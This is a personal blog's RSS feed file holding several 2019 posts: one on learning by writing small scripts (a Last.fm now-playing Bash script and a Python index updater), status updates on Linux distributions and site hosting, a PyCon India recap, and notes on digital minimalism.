all repos — site @ e7dd76b33fa48706d7140540e4d5ea8e8603587d

source for my site, found at icyphox.sh

pages/blog/feed.xml (view raw)

   1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
   2  <channel>
   3    <title>icyphox's blog</title>
   4	<link>https://icyphox.sh/blog/</link>
   5    <description>Security, forensics and privacy.</description>
   6	<atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
   7    <image>
   8		<title>icyphox logo</title>
   9      <url>https://icyphox.sh/icyphox.png</url>
  10	  <link>https://icyphox.sh/blog/</link>
  11    </image>
  12    <language>en-us</language>
  13	<copyright>Creative Commons BY-NC-SA 4.0</copyright>
  14    <item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online
  15to learn to code. Don&#8217;t get me wrong &#8211; it probably works for some.
  16Everyone learns differently. But that&#8217;s only going to get you so far.
  17Great you know the syntax, you can solve some competitive programming
  18problems, but that&#8217;s not quite enough, is it? The actual learning comes
  19from <em>applying</em> it in solving <em>actual</em> problems &#8211; not made up ones.
  20(<em>inb4 some seething CP bro comes at me</em>)</p>
  21
  22<p>Now, what&#8217;s an actual problem? Some might define it as real world
  23problems that people out there face, and solving it probably requires
  24building a product. This is what you see in hackathons, generally.</p>
  25
  26<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
  27face. This could be anything. Heck, it might not even be a &#8220;problem&#8221;. It
  28could just be an itch that you want to scratch. And this is where
  29<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
  30examples.</p>
  31
  32<h3 id="now-playing-status-in-my-bar">Now playing status in my bar</h3>
  33
  34<p>If you weren&#8217;t aware already &#8211; I rice my desktop. A lot. And a part of
  35this cohesive experience I try to create involves a status bar up at the
  36top of my screen, showing the time, date, volume and battery statuses etc.</p>
  37
  38<p>So here&#8217;s the &#8220;problem&#8221;. I wanted to have my currently playing song
  39(Spotify), show up on my bar. How did I approach this? A few ideas
  40popped up in my head:</p>
  41
  42<ul>
  43<li>Send <code>playerctl</code>&#8217;s STDOUT into my bar</li>
  44<li>Write a Python script to query Spotify&#8217;s API</li>
  45<li>Write a Python/shell script to query Last.fm&#8217;s API</li>
  46</ul>
  47
  48<p>The first approach bombed instantly. <code>playerctl</code> didn&#8217;t recognize my
  49Spotify client and whined about some <code>dbus</code> issues to top it off.
  50I spent a while in that rabbit hole but eventually gave up.</p>
  51
  52<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
  53I realize that I&#8217;ll have to make <em>more</em> than one request to fetch the
  54artist and track details. Nope, I need this to work fast.</p>
  55
  56<p>Last resort &#8211; Last.fm&#8217;s API. Spolier alert, this worked. Also, arguably
  57the best choice, since it shows the track status regardless of where
  58the music is being played. Here&#8217;s the script in its entirety:</p>
  59
  60<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
  61<span class="c1"># now playing</span>
  62<span class="c1"># requires the last.fm API key</span>
  63
  64<span class="nb">source</span> ~/.lastfm    <span class="c1"># `export API_KEY=&quot;&lt;key&gt;&quot;`</span>
  65<span class="nv">fg</span><span class="o">=</span><span class="s2">&quot;</span><span class="k">$(</span>xres color15<span class="k">)</span><span class="s2">&quot;</span>
  66<span class="nv">light</span><span class="o">=</span><span class="s2">&quot;</span><span class="k">$(</span>xres color8<span class="k">)</span><span class="s2">&quot;</span>
  67
  68<span class="nv">USER</span><span class="o">=</span><span class="s2">&quot;icyphox&quot;</span>
  69<span class="nv">URL</span><span class="o">=</span><span class="s2">&quot;http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks&quot;</span>
  70<span class="nv">URL</span><span class="o">+=</span><span class="s2">&quot;&amp;user=</span><span class="nv">$USER</span><span class="s2">&amp;api_key=</span><span class="nv">$API_KEY</span><span class="s2">&amp;format=json&amp;limit=1&amp;nowplaying=true&quot;</span>
  71<span class="nv">NOTPLAYING</span><span class="o">=</span><span class="s2">&quot; &quot;</span>    <span class="c1"># I like to have it show nothing</span>
  72<span class="nv">RES</span><span class="o">=</span><span class="k">$(</span>curl -s <span class="nv">$URL</span><span class="k">)</span>
  73<span class="nv">NOWPLAYING</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">&#39;.recenttracks.track[0].&quot;@attr&quot;.nowplaying&#39;</span> <span class="o">&lt;&lt;&lt;</span> <span class="s2">&quot;</span><span class="nv">$RES</span><span class="s2">&quot;</span> <span class="p">|</span> tr -d <span class="s1">&#39;&quot;&#39;</span><span class="k">)</span>
  74
  75
  76<span class="k">if</span> <span class="o">[[</span> <span class="s2">&quot;</span><span class="nv">$NOWPLAYING</span><span class="s2">&quot;</span> <span class="o">=</span> <span class="s2">&quot;true&quot;</span> <span class="o">]]</span>
  77<span class="k">then</span>
  78    <span class="nv">TRACK</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">&#39;.recenttracks.track[0].name&#39;</span> <span class="o">&lt;&lt;&lt;</span> <span class="s2">&quot;</span><span class="nv">$RES</span><span class="s2">&quot;</span> <span class="p">|</span> tr -d <span class="s1">&#39;&quot;&#39;</span><span class="k">)</span>
  79    <span class="nv">ARTIST</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">&#39;.recenttracks.track[0].artist.&quot;#text&quot;&#39;</span> <span class="o">&lt;&lt;&lt;</span> <span class="s2">&quot;</span><span class="nv">$RES</span><span class="s2">&quot;</span> <span class="p">|</span> tr -d <span class="s1">&#39;&quot;&#39;</span><span class="k">)</span>
  80    <span class="nb">echo</span> -ne <span class="s2">&quot;%{F</span><span class="nv">$light</span><span class="s2">}</span><span class="nv">$TRACK</span><span class="s2"> %{F</span><span class="nv">$fg</span><span class="s2">}by </span><span class="nv">$ARTIST</span><span class="s2">&quot;</span>
  81<span class="k">else</span>
  82    <span class="nb">echo</span> -ne <span class="s2">&quot;</span><span class="nv">$NOTPLAYING</span><span class="s2">&quot;</span>
  83<span class="k">fi</span>
  84</code></pre></div>
  85
  86<p>The <code>source</code> command is used to fetch the API key which I store at
  87<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they&#8217;re only
  88for coloring output on my bar. The rest is fairly trivial and just
  89involves JSON parsing with <a href="https://stedolan.github.io/jq/"><code>jq</code></a>.
  90That&#8217;s it! It&#8217;s so small, but I learnt a ton. For those curious, here&#8217;s
  91what it looks like running:</p>
  92
  93<p><img src="/static/img/now_playing.png" alt="now playing status polybar" /></p>
  94
  95<h3 id="update-latest-post-on-the-index-page">Update latest post on the index page</h3>
  96
  97<p>This pertains to this very blog that you&#8217;re reading. I wanted a quick
  98way to update the &#8220;latest post&#8221; section in the home page and the
  99<a href="/blog">blog</a> listing, with a link to the latest post. This would require
 100editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages">source</a>
 101of both pages.</p>
 102
 103<p>This was a very
 104interesting challenge to me, primarily because it requires in-place
 105editing of the file, not just appending. Sure, I could&#8217;ve come up with
 106some <code>sed</code> one-liner, but that didn&#8217;t seem very fun. Also I hate
 107regexes. Did a lot of research (read: Googling) on in-place editing of
 108files in Python, sorting lists of files by modification time etc. and
 109this is what I ended up on, ultimately:</p>
 110
 111<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
 112
 113<span class="kn">from</span> <span class="nn">markdown2</span> <span class="kn">import</span> <span class="n">markdown_path</span>
 114<span class="kn">import</span> <span class="nn">os</span>
 115<span class="kn">import</span> <span class="nn">fileinput</span>
 116<span class="kn">import</span> <span class="nn">sys</span>
 117
 118<span class="c1"># change our cwd</span>
 119<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="s2">&quot;bin&quot;</span><span class="p">)</span>
 120
 121<span class="n">blog</span> <span class="o">=</span> <span class="s2">&quot;../pages/blog/&quot;</span>
 122
 123<span class="c1"># get the most recently created file</span>
 124<span class="k">def</span> <span class="nf">getrecent</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
 125    <span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">path</span> <span class="o">+</span> <span class="n">f</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">blog</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">&quot;_index.md&quot;</span><span class="p">,</span> <span class="s2">&quot;feed.xml&quot;</span><span class="p">]]</span>
 126    <span class="n">files</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getmtime</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
 127    <span class="k">return</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
 128
 129<span class="c1"># adding an entry to the markdown table</span>
 130<span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
 131    <span class="n">path</span> <span class="o">=</span> <span class="s2">&quot;../pages/_index.md&quot;</span>
 132    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">&quot;r&quot;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
 133        <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
 134    <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">&quot;| --- | --: |</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">)</span>
 135    <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span>
 136
 137    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">&quot;w&quot;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
 138        <span class="n">f</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="n">md</span><span class="p">)</span>
 139
 140<span class="c1"># editing the md source in-place</span>
 141<span class="k">def</span> <span class="nf">update_blog</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
 142    <span class="n">path</span> <span class="o">=</span> <span class="s2">&quot;../pages/blog/_index.md&quot;</span>
 143    <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span>
 144    <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fileinput</span><span class="o">.</span><span class="n">FileInput</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
 145        <span class="k">if</span> <span class="s2">&quot;--:&quot;</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
 146            <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">l</span> <span class="o">+</span> <span class="n">s</span><span class="p">)</span>
 147        <span class="k">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&quot;&quot;</span><span class="p">),</span>
 148
 149
 150<span class="c1"># fetch title and date</span>
 151<span class="n">meta</span> <span class="o">=</span> <span class="n">markdown_path</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">),</span> <span class="n">extras</span><span class="o">=</span><span class="p">[</span><span class="s2">&quot;metadata&quot;</span><span class="p">])</span><span class="o">.</span><span class="n">metadata</span>
 152<span class="n">fname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>
 153<span class="n">url</span> <span class="o">=</span> <span class="s2">&quot;/blog/&quot;</span> <span class="o">+</span> <span class="n">fname</span>
 154<span class="n">line</span> <span class="o">=</span> <span class="n">f</span><span class="s2">&quot;| [{meta[&#39;title&#39;]}]({url}) | `{meta[&#39;date&#39;]}` |&quot;</span>
 155
 156<span class="n">update_index</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
 157<span class="n">update_blog</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
 158</code></pre></div>
 159
 160<p>I&#8217;m going to skip explaining this one out, but in essence, it&#8217;s <strong>one
 161massive hack</strong>. And in the end, that&#8217;s my point exactly. It&#8217;s very
 162hacky, but the sheer amount I learnt by writing this ~50
 163line script can&#8217;t be taught anywhere.</p>
 164
 165<p>This was partially how
 166<a href="https://github.com/icyphox/vite">vite</a> was born. It was originally
 167intended to be a script to build my site, but grew into a full-blown
 168Python package. I could&#8217;ve just 
 169used an off-the-shelf static site generator
 170given that there are <a href="https://staticgen.com">so many</a> of them, but
 171I chose to write one myself.</p>
 172
 173<p>And that just about sums up what I wanted to say. The best and most fun
 174way to learn to code &#8211; write hacky scripts. You heard it here.</p>
 175]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I&#8217;ve decided to drop the &#8220;Weekly&#8221; part of the status update posts, since
 176they were never weekly and&#8212;let&#8217;s be honest&#8212;they aren&#8217;t going to be.
 177These posts are, henceforth, just &#8220;Status updates&#8221;. The date range can
 178be inferred from the post date.</p>
 179
 180<p>That said, here&#8217;s what I&#8217;ve been up to!</p>
 181
 182<h3 id="void-linux">Void Linux</h3>
 183
 184<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
 185really. The very comfy <code>apk</code>, ultra mnml system&#8230; but having to
 186maintain a chroot for my glibc needs was getting way too painful. And
 187the package updates are so slow! Heck, they&#8217;re still on kernel 4.xx on
 188their supposed &#8220;bleeding&#8221; <code>edge</code> repo.</p>
 189
 190<p>So yes, Void Linux it is. Still a very clean system. I&#8217;m loving it.
 191I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
 192(-95 mV). Can&#8217;t say for sure if there&#8217;s a noticeable difference in
 193battery life though. I&#8217;ll see if I can run some tests.</p>
 194
 195<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>
 196
 197<h3 id="pycon">PyCon</h3>
 198
 199<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>
 200
 201<h3 id="this-website">This website</h3>
 202
 203<p>I&#8217;ve moved out of GitHub Pages over to Netlify. This isn&#8217;t my first time
 204using Netlify, though. I used to host my old blog which ran Hugo, there.
 205I was tired of doing this terrible hack to maintain a single repo for
 206both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here&#8217;s
 207what I did:</p>
 208
 209<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
 210
 211git push origin master
 212<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
 213git subtree push --prefix build origin gh-pages
 214</code></pre></div>
 215
 216<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
 217by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
 218build</code>. Very pleasant.</p>
 219
 220<h3 id="mnmlwms-status"><code>mnmlwm</code>&#8217;s status</h3>
 221
 222<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
 223window manager written in Nim. I&#8217;d taken a break from it for a while
 224because Xlib is such a pain to work with (or I&#8217;m just dense). Anyway,
 225I&#8217;m planning on getting back to it, with some fresh inspiration from
 226Dylan Araps&#8217; <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>
 227
 228<h3 id="other">Other</h3>
 229
 230<p>I&#8217;ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
 231Monogatari</em> (till the latest chapter) and <em>Another</em>, and I&#8217;ve just
 232started <em>Kakegurui</em>. I&#8217;ll reserve my opinions for when I update the
 233<a href="/reading">reading log</a>.</p>
 234
 235<p>That&#8217;s about it, and I&#8217;ll see you &#8211; definitely not next week.</p>
 236]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I&#8217;m writing this article as I sit in class, back on the grind. Last
 237weekend&#8212;Oct 12th and 13th&#8212;was PyCon India 2019, in Chennai, India.
 238It was my first PyCon, <em>and</em> my first ever talk at a major conference!
 239This is an account of the all the cool stuff I saw, people I met and the
 240talks I enjoyed.
 241Forgive the lack of pictures &#8211; I prefer living the moment through my 
 242eyes. </p>
 243
 244<h3 id="talks">Talks</h3>
 245
 246<p>So much ML! Not that it&#8217;s a bad thing, but definitely interesting to
 247note. From what I counted, there were about 17 talks tagged under &#8220;Data
 248Science, Machine Learning and AI&#8221;. I&#8217;d have liked to see more talks
 249discussing security and privacy, but hey, the organizers can only pick
 250from what&#8217;s submitted. ;)</p>
 251
 252<p>With that point out of the way, here are some of the talks I really liked:</p>
 253
 254<ul>
 255<li><strong>Python Packaging - where we are and where we&#8217;re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
 256<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
 257<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
 258<li><strong>Let&#8217;s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
 259<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>&#8217;s closing
 260keynote</li>
 261</ul>
 262
 263<h3 id="my-talk">My talk (!!!)</h3>
 264
 265<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
 266our smart lock security research. Agreed, it might have been less
 267&#8220;hardware&#8221; and more of a bug on the server-side, but that&#8217;s the thing
 268about IoT right? It&#8217;s so multi-faceted, and is an amalgamation of so
 269many different hardware and software stacks. But, anyway&#8230;</p>
 270
 271<p>I was reassured by folks after the talk that the silence during Q/A was 
 272the &#8220;good&#8221; kind of silence. Was it really? I&#8217;ll never know.</p>
 273
 274<h3 id="some-nice-people-i-met">Some nice people I met</h3>
 275
 276<ul>
 277<li><a href="https://twitter.com/abhirathb">Abhirath</a> &#8211; A 200 IQ lad. Talked to
 278me about everything from computational biology to the physical
 279implementation of quantum computers.</li>
 280<li><a href="https://twitter.com/meain_">Abin</a> &#8211; He recognized me from my
 281<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
 282awesome.</li>
 283<li><a href="https://twitter.com/h6165">Abhishek</a></li>
 284<li>Pradyun and Vikrant (linked earlier)</li>
 285</ul>
 286
 287<p>And a lot of other people doing really great stuff, whose names I&#8217;m
 288forgetting.</p>
 289
 290<h3 id="pictures">Pictures!</h3>
 291
 292<p>It&#8217;s not much, and
 293I can&#8217;t be bothered to format them like a collage or whatever, so I&#8217;ll
 294just dump them here &#8211; as is.</p>
 295
 296<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
 297<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
 298<img src="/static/img/me_talking.jpg" alt="me talking" />
 299<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
 300
 301<h3 id="cest-tout">C&#8217;est tout</h3>
 302
 303<p>Overall, a great time and a weekend well spent. It was very different
 304from your typical security conference &#8211; a lot more <em>chill</em>, if you
 305will. The organizers did a fantastic job and the entire event was put
 306together really well.
 307I don&#8217;t have much else to say, but I know for sure that I&#8217;ll be
 308there next time.</p>
 309
 310<p>That was PyCon India, 2019.</p>
 311]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
 312subject. But this is inherently different, since it&#8217;s <em>my</em> opinion on
 313the matter, and <em>my</em> technique(s) to achieve &#8220;digital minimalism&#8221;.</p>
 314
 315<p>According to me, minimalism can be achieved on two primary fronts &#8211;
 316the phone &amp; the computer. Let&#8217;s start with the phone. The daily carry.
 317The device that&#8217;s on our person from when we get out of bed, till we get
 318back in bed.</p>
 319
 320<h3 id="the-phone">The phone</h3>
 321
 322<p>I&#8217;ve read about a lot of methods people employ to curb their phone
 323usage. Some have tried grouping &#8220;distracting&#8221; apps into a separate
 324folder, and this supposedly helps reduce their usage. Now, I fail to see
 325how this would work, but YMMV. Another technique I see often is using
 326a time governance app&#8212;like OnePlus&#8217; Zen Mode&#8212;to enforce how much
 327time you spend using specific apps, or the phone itself. I&#8217;ve tried this
 328for myself, but I constantly found myself counting down the minutes
 329after which the phone would become usable again. Not helpful.</p>
 330
 331<p>My solution to this is a lot more brutal. I straight up uninstalled the
 332apps that I found myself using too often. There&#8217;s a simple principle
 333behind it &#8211; if the app has a desktop alternative, like Twitter,
 334Reddit, etc. use that instead. Here&#8217;s a list of apps that got nuked from
 335my phone:</p>
 336
 337<ul>
 338<li>Twitter</li>
 339<li>Instagram (an exception, no desktop client)</li>
 340<li>Relay for Reddit</li>
 341<li>YouTube (disabled, ships with stock OOS)</li>
 342</ul>
 343
 344<p>The only non-productive app that I&#8217;ve let remain is Clover, 
 345a 4chan client. I didn&#8217;t find myself using it as much earlier, but we&#8217;ll see how that 
 346holds up. I&#8217;ve also allowed my personal messaging apps to remain, since 
 347removing those would be inconveniencing others.</p>
 348
 349<p>I must admit, I often find myself reaching for my phone out of habit
 350just to check Twitter, only to find that its gone. I also subconsciously
 351tap the place where its icon used to exist (now replaced with my mail
 352client) on my launcher. The only &#8220;fun&#8221; thing left on my phone to do is
 353read or listen to music. Which is okay, in my opinion.</p>
 354
 355<h3 id="the-computer">The computer</h3>
 356
 357<p>I didn&#8217;t do anything too nutty here, and most of the minimalism is
 358mostly aesthetic. I like UIs that get out of the way. </p>
 359
 360<p>My setup right now is just a simple bar at the top showing the time,
 361date, current volume and battery %, along with my workspace indicators.
 362No fancy colors, no flashy buttons and sliders. And that&#8217;s it. I don&#8217;t
 363try to force myself to not use stuff &#8211; after all, I&#8217;ve reduced it
 364elsewhere. :)</p>
 365
 366<p>Now the question arises: Is this just a phase, or will I stick to it?
 367What&#8217;s going to stop me from heading over to the Play Store and
 368installing those apps back? Well, I never said this was going to be
 369easy. There&#8217;s definitely some will power needed to pull this off.
 370I guess time will tell.</p>
 371]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It&#8217;s a lazy Friday afternoon here; yet another off day this week thanks to my
 372uni&#8217;s fest. My last &#8220;weekly&#8221; update was 10 days ago, and a lot has happened
 373since then. Let&#8217;s get right into it!</p>
 374
 375<h3 id="my-switch-to-alpine">My switch to Alpine</h3>
 376
 377<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
 378
 379<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
 380<span class="m">3817</span>
 381
 382<span class="c1"># or something in that ballpark</span>
 383</code></pre></div>
 384
 385<p>I&#8217;ve been wanting to reduce my system&#8217;s package count.</p>
 386
 387<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
 388sane package manager. I did come across Dylan Araps&#8217;
 389<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
 390for me (and still relatively new). I finally settled on
 391<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
 392
 393<blockquote>
 394  <p>Alpine Linux is a security-oriented, lightweight Linux distribution based 
 395  on musl libc and busybox.</p>
 396</blockquote>
 397
 398<p>The installation was a breeze, and I was quite surprised to see WiFi working
 399OOTB. In the past week of my using this distro, the only major hassle I faced
 400was getting my Minecraft launcher to run. The JRE isn&#8217;t fully ported to <code>musl</code>
 401yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
 402soon. (hint: it involves chroots)</p>
 403
 404<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
 405
 406<h3 id="packaging-for-alpine">Packaging for Alpine</h3>
 407
 408<p>On a related note, I&#8217;ve been busy packaging some of the stuff I use for Alpine
 409&#8211; you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
 410repository if you&#8217;re interested. I&#8217;m currently working on packaging Nim too, so
 411keep an eye out for that in the coming week.</p>
 412
 413<h3 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h3>
 414
 415<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
 416going to be speaking at PyCon India about our recent smart lock security
 417research. The conference is happening in Chennai, much to our convenience.
 418If you&#8217;re attending too, hit me up on Twitter and we can hang!</p>
 419
 420<h3 id="other">Other</h3>
 421
 422<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
 423strong, my reading however, hasn&#8217;t. I have <em>yet</em> to finish those books! This
 424week, for sure.</p>
 425
 426<p>Musically, I&#8217;ve been experimenting. I tried a bit of hip-hop and chilltrap, and
 427I think I like it? I still find myself coming back to metalcore/deathcore.
 428Here&#8217;s a list of artists I discovered (and liked) recently:</p>
 429
 430<ul>
 431<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
 432<li>生 Conform 死 (couldn&#8217;t find any official YouTube video, check Spotify)</li>
 433<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
 434<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
 435<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
 436</ul>
 437
 438<p>That&#8217;s it for now, I&#8217;ll see you next week!</p>
 439
 440<div class="footnotes">
 441<hr />
 442<ol>
 443<li id="fn-1">
 444<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a>&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 445</li>
 446</ol>
 447</div>
 448]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I&#8217;m trying out, in an effort to write more frequently
 449and to serve as a log of how I&#8217;m using my time. In theory, I will write this post
 450every week. I&#8217;ll need someone to hold me accountable if I don&#8217;t. I have yet to decide on
 451a format for this, but it will probably include a quick summary of the work I did,
 452things I read, IRL stuff, etc.</p>
 453
 454<p>With the meta stuff out of the way, here&#8217;s what went down last week!</p>
 455
 456<h3 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h3>
 457
 458<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It&#8217;s a link to
 459the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
 460It creates a small community of sites and enables sharing of traffic among these sites.
 461The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
 462of those sites are beautiful. Mine pales in comparison.</p>
 463
 464<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
 465called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
 466and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
 467twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
 468
 469<p>Which brings me to the next thing I did this/last week.</p>
 470
 471<h3 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h3>
 472
 473<p>I&#8217;m not a fan of the official Python client, because you know, Python is bloat.
 474As an advocate of <em>mnmlsm</em>, I can&#8217;t use it in good conscience. Thus, began my
 475authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
 476It&#8217;s not entirely useable as of yet, but it&#8217;s definitely getting there, with the help
 477of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
 478
 479<h3 id="other">Other</h3>
 480
 481<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
 482Darknet Diaries &amp; Off the Pill. To add to this list, I&#8217;ve begun binging Vice&#8217;s CYBER.
 483It&#8217;s pretty good &#8211; each episode is only about 30 mins and it hits the sweet spot,
 484delvering both interesting security content and news.</p>
 485
 486<p>My reading needs a ton of catching up. Hopefully I&#8217;ll get around to finishing up
 487&#8220;The Unending Game&#8221; this week. And then go back to &#8220;Terrorism and Counterintelligence&#8221;.</p>
 488
 489<p>I&#8217;ve begun learning Russian! I&#8217;m really liking it so far, and it&#8217;s been surprisingly
 490easy to pick up. Learning the Cyrillic script will require some relearning, especially
 491with letters like в, н, р, с, etc. that look like English but sound entirely different.
 492I think I&#8217;m pretty serious about learning this language &#8211; I&#8217;ve added the Russian keyboard
